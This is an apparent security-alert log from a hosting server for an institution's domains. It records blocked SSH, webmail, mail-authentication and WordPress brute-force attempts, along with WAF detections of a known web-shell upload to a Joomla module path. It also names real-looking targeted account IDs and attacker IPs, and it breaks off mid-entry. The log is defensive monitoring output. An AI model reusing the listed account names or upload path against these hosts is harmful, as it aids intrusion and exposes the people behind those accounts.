[2025-01-29 13:36:38 +0100] info [webmaild] 168.205.136.232 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.125.93.101
description:
Jan 29 13:37:06 ait sshd[165048]: pam_imunify(sshd:auth): [IM360_RBL] The IP 175.125.93.101 has been locked due to Imunify RBL


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 94.228.162.228
domain: ijbit.us
description:
IM360 WAF: Track file upload for Infectors||RSV:6.65||T:APACHE||SC:/home/titlemas/public_html/ijbit.us/modules/mod_ariimageslidersa||User:titlemas||WPU:||


plugin: modsec
rule: 77140884
name: IM360 WAF: RBL block known shells
abuser: 94.228.162.228
domain: ijbit.us
description:
IM360 WAF: RBL block known shells||MVN:ARGS:p1||WPU:||RSV:6.65||T:APACHE||MV:uploadFile||SC:/home/titlemas/public_html/ijbit.us/modules/mod_ariimageslidersa


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 175.125.93.101
description:
Jan 29 13:37:06 ait sshd[165048]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.125.93.101  user=root


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 186.219.146.71
description:
[2025-01-29 13:37:06 +0100] info [webmaild] 186.219.146.71 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.129.154.111
description:
Jan 29 13:37:25 ait sshd[165163]: pam_imunify(sshd:auth): [IM360_RBL] The IP 125.129.154.111 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 188.132.222.21
description:
[2025-01-29 13:37:59 +0100] info [webmaild] 188.132.222.21 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.45.34.127
description:
Jan 29 13:37:33 ait sshd[165298]: pam_imunify(sshd:auth): [IM360_RBL] The IP 31.45.34.127 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 125.129.154.111
description:
Jan 29 13:37:25 ait sshd[165163]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=125.129.154.111


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.153.57.103
description:
Jan 29 13:38:15 ait sshd[165641]: pam_imunify(sshd:auth): [IM360_RBL] The IP 197.153.57.103 has been locked due to Imunify RBL


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 94.228.162.228
domain: ijari.us
description:
IM360 WAF: Track file upload for Infectors||RSV:6.65||T:APACHE||SC:/home/titlemas/public_html/ijari.us/modules/mod_ariimageslidersa||User:titlemas||WPU:||


plugin: modsec
rule: 77140884
name: IM360 WAF: RBL block known shells
abuser: 94.228.162.228
domain: ijari.us
description:
IM360 WAF: RBL block known shells||MVN:ARGS:p1||WPU:||RSV:6.65||T:APACHE||MV:uploadFile||SC:/home/titlemas/public_html/ijari.us/modules/mod_ariimageslidersa


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 31.45.34.127
description:
Jan 29 13:37:33 ait sshd[165298]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=31.45.34.127


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 197.153.57.103
description:
Jan 29 13:38:15 ait sshd[165641]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=197.153.57.103


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 185.213.165.107
description:
Jan 29 13:38:35 ait sshd[166013]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=185.213.165.107


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.184
description:
2025-01-29 13:38:46 dovecot_plain authenticator failed for (nsg-corporate-184.230.187.122.airtel.in) [122.187.230.184]:53741: 535 Incorrect authentication data (set_id=eng20b00166y)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 198.12.114.42
description:
Jan 29 13:38:51 ait sshd[166241]: pam_imunify(sshd:auth): [IM360_RBL] The IP 198.12.114.42 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 82.207.8.162
description:
Jan 29 13:38:28 ait sshd[165763]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=82.207.8.162


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.213.165.107
description:
Jan 29 13:38:35 ait sshd[166013]: pam_imunify(sshd:auth): [IM360_RBL] The IP 185.213.165.107 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.184
description:
Jan 29 13:38:44 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.184 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 198.12.114.42
description:
Jan 29 13:38:51 ait sshd[166241]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=198.12.114.42


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.80.223.144
description:
Jan 29 13:38:28 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.80.223.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.207.8.162
description:
Jan 29 13:38:28 ait sshd[165763]: pam_imunify(sshd:auth): [IM360_RBL] The IP 82.207.8.162 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
description:
2025-01-29 13:38:30 dovecot_plain authenticator failed for ([220.80.223.144]) [220.80.223.144]:60362: 535 Incorrect authentication data (set_id=eng20b00166y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 170.81.111.62
description:
[2025-01-29 13:40:15 +0100] info [webmaild] 170.81.111.62 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.46.204.22
description:
Jan 29 13:39:55 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.46.204.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.46.204.22
description:
2025-01-29 13:39:57 dovecot_plain authenticator failed for ([196.46.204.22]) [196.46.204.22]:40231: 535 Incorrect authentication data (set_id=klah@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.76.194.159
description:
Jan 29 13:40:04 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.76.194.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.76.194.159
description:
2025-01-29 13:40:06 dovecot_plain authenticator failed for pool-72-76-194-159.nwrknj.fios.verizon.net [72.76.194.159]:48266: 535 Incorrect authentication data (set_id=klah)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 179.217.195.164
description:
[2025-01-29 13:40:13 +0100] info [webmaild] 179.217.195.164 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 122.51.104.242
description:
Jan 29 13:40:49 ait sshd[167906]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=122.51.104.242


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.228.92.193
description:
2025-01-29 13:41:16 dovecot_plain authenticator failed for broadband-5-228-92-193.ip.moscow.rt.ru [5.228.92.193]:60441: 535 Incorrect authentication data (set_id=vobynuma@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 185.78.139.238
description:
[2025-01-29 13:40:49 +0100] info [webmaild] 185.78.139.238 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.228.92.193
description:
Jan 29 13:41:14 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.228.92.193 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 190.110.47.38
description:
[2025-01-29 13:40:31 +0100] info [webmaild] 190.110.47.38 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.51.104.242
description:
Jan 29 13:40:49 ait sshd[167906]: pam_imunify(sshd:auth): [IM360_RBL] The IP 122.51.104.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 13:41:17 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.139.110.118
description:
Jan 29 13:40:36 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.139.110.118 has been locked due to Imunify RBL


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 122.51.104.242
description:
Jan 29 13:40:49 ait sshd[167906]: Invalid user loicexpertise.com 2a00 from 122.51.104.242 port 45436


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 13:40:51 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.139.110.118
description:
2025-01-29 13:40:38 dovecot_plain authenticator failed for (spapt) [37.139.110.118]:60816: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 195.242.102.131
domain: a-rapp.ait-edu.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:||WPU:||RSV:6.65||T:APACHE||MV:13-41.195.242.102.131


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.224.134.119
description:
[2025-01-29 13:42:09 +0100] info [webmaild] 45.224.134.119 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 219.251.253.62
description:
Jan 29 13:41:24 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 219.251.253.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.207.8.162
description:
Jan 29 13:42:09 ait sshd[168755]: pam_imunify(sshd:auth): [IM360_RBL] The IP 82.207.8.162 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 198.163.193.251
description:
[2025-01-29 13:42:09 +0100] info [webmaild] 198.163.193.251 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 82.207.8.162
description:
Jan 29 13:42:09 ait sshd[168755]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=82.207.8.162


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 197.153.57.103
description:
Jan 29 13:41:47 ait sshd[168472]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=197.153.57.103


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.251.253.62
description:
2025-01-29 13:41:26 dovecot_plain authenticator failed for ([219.251.253.62]) [219.251.253.62]:34092: 535 Incorrect authentication data (set_id=vobynuma)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.85.86.16
description:
[2025-01-29 13:41:29 +0100] info [webmaild] 177.85.86.16 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.153.57.103
description:
Jan 29 13:41:47 ait sshd[168472]: pam_imunify(sshd:auth): [IM360_RBL] The IP 197.153.57.103 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 191.99.48.129
description:
[2025-01-29 13:43:15 +0100] info [webmaild] 191.99.48.129 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 125.129.154.111
description:
Jan 29 13:42:20 ait sshd[168874]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=125.129.154.111


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 103.148.156.182
domain: a-rapp.ait-edu.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:||WPU:||RSV:6.65||T:APACHE||MV:13-42.103.148.156.182


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 120.34.67.20
domain: afaccra.u3l.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:13-42.120.34.67.20


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 185.213.165.107
description:
Jan 29 13:43:08 ait sshd[169457]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=185.213.165.107


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.129.154.111
description:
Jan 29 13:42:20 ait sshd[168874]: pam_imunify(sshd:auth): [IM360_RBL] The IP 125.129.154.111 has been locked due to Imunify RBL


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 121.135.186.198
domain: a-rapp.ait-edu.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:||WPU:||RSV:6.65||T:APACHE||MV:13-42.121.135.186.198


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.153.57.103
description:
Jan 29 13:43:04 ait sshd[169364]: pam_imunify(sshd:auth): [IM360_RBL] The IP 197.153.57.103 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.213.165.107
description:
Jan 29 13:43:08 ait sshd[169457]: pam_imunify(sshd:auth): [IM360_RBL] The IP 185.213.165.107 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 198.12.114.42
description:
Jan 29 13:42:30 ait sshd[168975]: pam_imunify(sshd:auth): [IM360_RBL] The IP 198.12.114.42 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 198.12.114.42
description:
Jan 29 13:42:30 ait sshd[168975]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=198.12.114.42


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 197.153.57.103
description:
Jan 29 13:43:04 ait sshd[169364]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=197.153.57.103


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 197.153.57.103
description:
Jan 29 13:43:05 ait sshd[169364]: Failed password for invalid user server from 197.153.57.103 port 56724 ssh2


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.53.89
description:
47.128.53.89 - - [29/Jan/2025:13:43:02 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=18924961 HTTP/2.0" 302 0 lms.aitsmartschool.com "https://lms.aitsmartschool.com/courses/page/7/?duration=short&level=beginner%2Cintermediate" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.53.89


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.129.154.111
description:
Jan 29 13:43:51 ait sshd[170075]: pam_imunify(sshd:auth): [IM360_RBL] The IP 125.129.154.111 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 82.207.8.162
description:
Jan 29 13:43:20 ait sshd[169599]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=82.207.8.162


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 198.12.114.42
description:
Jan 29 13:43:43 ait sshd[169954]: pam_imunify(sshd:auth): [IM360_RBL] The IP 198.12.114.42 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 125.129.154.111
description:
Jan 29 13:43:51 ait sshd[170075]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=125.129.154.111


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.207.8.162
description:
Jan 29 13:43:20 ait sshd[169599]: pam_imunify(sshd:auth): [IM360_RBL] The IP 82.207.8.162 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 198.12.114.42
description:
Jan 29 13:43:43 ait sshd[169954]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=198.12.114.42


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 185.213.165.107
description:
Jan 29 13:44:24 ait sshd[170593]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=185.213.165.107


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 188.165.146.195
domain: afaccra.u3l.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:13-44.188.165.146.195


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.213.165.107
description:
Jan 29 13:44:24 ait sshd[170593]: pam_imunify(sshd:auth): [IM360_RBL] The IP 185.213.165.107 has been locked due to Imunify RBL


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 80.76.51.123
domain: phd.ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:13-44.80.76.51.123


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 188.72.40.110
description:
[2025-01-29 13:46:06 +0100] info [webmaild] 188.72.40.110 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.226.173.151
description:
Jan 29 13:45:26 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.226.173.151 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.43.137.90
description:
Jan 29 13:46:00 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.43.137.90 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.43.137.90
description:
2025-01-29 13:46:02 dovecot_plain authenticator failed for ([14.43.137.90]) [14.43.137.90]:49110: 535 Incorrect authentication data (set_id=eng19a00097y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.152.82
description:
2025-01-29 13:46:08 dovecot_plain authenticator failed for (m121-202-152-82.smartone.com) [121.202.152.82]:35266: 535 Incorrect authentication data (set_id=ads19a00014y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.226.173.151
description:
2025-01-29 13:45:28 dovecot_plain authenticator failed for (pool-176-226-173-151.is74.ru) [176.226.173.151]:55576: 535 Incorrect authentication data (set_id=ads19a00014y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.39.126.244
description:
[2025-01-29 13:45:43 +0100] info [webmaild] 177.39.126.244 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.255.2.237
description:
Jan 29 13:45:48 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.255.2.237 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.255.2.237
description:
2025-01-29 13:45:50 dovecot_plain authenticator failed for 237.2.255.124.ap.mvno.net [124.255.2.237]:57857: 535 Incorrect authentication data (set_id=ads19a00014y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.152.82
description:
Jan 29 13:46:06 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.152.82 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.184.53.83
description:
Jan 29 13:45:47 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.184.53.83 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.184.53.83
description:
2025-01-29 13:45:49 dovecot_plain authenticator failed for (default-rdns.vocus.co.nz) [203.184.53.83]:38794: 535 Incorrect authentication data (set_id=eng19a00097y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.36.156.14
description:
Jan 29 13:46:32 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.36.156.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.180.166.214
description:
Jan 29 13:46:22 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.180.166.214 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.180.166.214
description:
2025-01-29 13:46:24 dovecot_plain authenticator failed for ([220.180.166.214]) [220.180.166.214]:36576: 535 Incorrect authentication data (set_id=ads23a00041y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 29 13:47:10 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 13:47:14 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.36.156.14
description:
2025-01-29 13:46:34 dovecot_plain authenticator failed for (vipturbo.com.br) [191.36.156.14]:48482: 535 Incorrect authentication data (set_id=ads23a00041y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 179.228.80.222
description:
[2025-01-29 13:47:24 +0100] info [webmaild] 179.228.80.222 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.134.239.97
description:
2025-01-29 13:48:18 dovecot_plain authenticator failed for ([182.134.239.97]) [182.134.239.97]:44628: 535 Incorrect authentication data (set_id=eng20b00215y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 181.220.87.219
description:
[2025-01-29 13:47:32 +0100] info [webmaild] 181.220.87.219 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.187.50.49
description:
Jan 29 13:47:57 ait sshd[173041]: pam_imunify(sshd:auth): [IM360_RBL] The IP 185.187.50.49 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 185.187.50.49
description:
Jan 29 13:47:57 ait sshd[173041]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=185.187.50.49


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 13:48:01 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.134.239.97
description:
Jan 29 13:48:16 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.134.239.97 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.183.180.108
description:
Jan 29 13:48:27 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.183.180.108 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 189.107.55.216
description:
[2025-01-29 13:48:28 +0100] info [webmaild] 189.107.55.216 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 191.36.139.88
description:
[2025-01-29 13:48:43 +0100] info [webmaild] 191.36.139.88 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.183.180.108
description:
2025-01-29 13:48:29 dovecot_plain authenticator failed for ([118.183.180.108]) [118.183.180.108]:44909: 535 Incorrect authentication data (set_id=eng20b00215y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 188.163.59.41
description:
[2025-01-29 13:49:27 +0100] info [webmaild] 188.163.59.41 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.164.94.190
description:
Jan 29 13:50:59 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.164.94.190 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.135.103.7
description:
2025-01-29 13:51:11 dovecot_plain authenticator failed for ([91.135.103.7]) [91.135.103.7]:43502: 535 Incorrect authentication data (set_id=torgbor)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 29 13:50:28 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.164.94.190
description:
2025-01-29 13:51:01 dovecot_plain authenticator failed for ([39.164.94.190]) [39.164.94.190]:36162: 535 Incorrect authentication data (set_id=torgbor@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.135.103.7
description:
Jan 29 13:51:09 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.135.103.7 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 103.138.212.218
description:
[2025-01-29 13:52:09 +0100] info [webmaild] 103.138.212.218 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 179.236.9.167
description:
[2025-01-29 13:51:48 +0100] info [webmaild] 179.236.9.167 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 201.16.187.95
description:
[2025-01-29 13:52:26 +0100] info [webmaild] 201.16.187.95 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 175.125.93.101
description:
Jan 29 13:52:43 ait sshd[176405]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.125.93.101  user=root


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.125.93.101
description:
